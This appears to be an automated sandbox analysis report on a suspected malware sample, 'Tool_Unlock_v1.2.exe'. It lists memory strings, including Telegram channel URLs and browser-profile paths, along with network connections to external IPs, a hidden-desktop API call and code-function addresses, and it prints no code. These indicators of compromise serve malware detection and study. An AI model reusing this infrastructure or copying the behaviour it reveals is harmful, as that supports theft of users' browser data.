Source: Tool_Unlock_v1.2.exe, Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000490000.00000040.00000400.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2055815669.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w211et
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w211etU
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w211ethu76faMozilla/5.0
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w211etvU
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: Tool_Unlock_v1.2.exe, 00000003.00000003.2055815669.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: chrome.exe, 00000005.00000003.2274387834.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000005.00000003.2270197921.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271018683.0000313C02A4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271054264.0000313C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270391395.0000313C021DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: 884b911a-b082-4e96-91a6-71b0693275e1.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000005.00000003.2267410610.0000313C024EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2267515692.0000313C02504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2267539367.0000313C02508000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2267457122.0000313C024F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000005.00000003.2270656386.0000313C02A74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270197921.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271018683.0000313C02A4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270499206.0000313C02AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2271054264.0000313C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3293206080.0000000006644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.14.4:443 -> 192.168.2.5:49709 version: TLS 1.2

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_0040F2B3 CreateDesktopA,

3_2_0040F2B3

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00331000	0_2_00331000
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_0033F555	0_2_0033F555
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00357792	0_2_00357792
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00355C5E	0_2_00355C5E
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00349CC0	0_2_00349CC0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00343FB2	0_2_00343FB2
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00331000	3_2_00331000
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0033F555	3_2_0033F555
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00357792	3_2_00357792
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00355C5E	3_2_00355C5E
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00349CC0	3_2_00349CC0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00343FB2	3_2_00343FB2
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00402051	3_2_00402051
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436001	3_2_00436001
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00438011	3_2_00438011
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E031	3_2_0043E031
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E0F1	3_2_0043E0F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004200A1	3_2_004200A1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004280A1	3_2_004280A1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420141	3_2_00420141
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00438151	3_2_00438151
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440151	3_2_00440151
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C171	3_2_0043C171
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00428171	3_2_00428171
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436111	3_2_00436111
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004421C1	3_2_004421C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004361D1	3_2_004361D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004381E1	3_2_004381E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004201E1	3_2_004201E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436271	3_2_00436271
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E271	3_2_0043E271
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C211	3_2_0043C211
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440211	3_2_00440211
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00422231	3_2_00422231
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004382C1	3_2_004382C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C2D1	3_2_0043C2D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004402D1	3_2_004402D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004422F1	3_2_004422F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420291	3_2_00420291
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00422341	3_2_00422341
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436361	3_2_00436361
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E311	3_2_0043E311
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004383D1	3_2_004383D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004403D1	3_2_004403D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C3F1	3_2_0043C3F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004283B1	3_2_004283B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004423B1	3_2_004423B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436451	3_2_00436451
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00422401	3_2_00422401
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E4C1	3_2_0043E4C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004364F1	3_2_004364F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C481	3_2_0043C481
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004204B1	3_2_004204B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041E541	3_2_0041E541
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C521	3_2_0043C521
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440521	3_2_00440521
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00442521	3_2_00442521
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004425C1	3_2_004425C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E5D1	3_2_0043E5D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00406581	3_2_00406581
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436581	3_2_00436581
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420581	3_2_00420581
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00438641	3_2_00438641
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E661	3_2_0043E661
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440611	3_2_00440611
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C621	3_2_0043C621
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436621	3_2_00436621
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0042A6E1	3_2_0042A6E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C711	3_2_0043C711
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420711	3_2_00420711
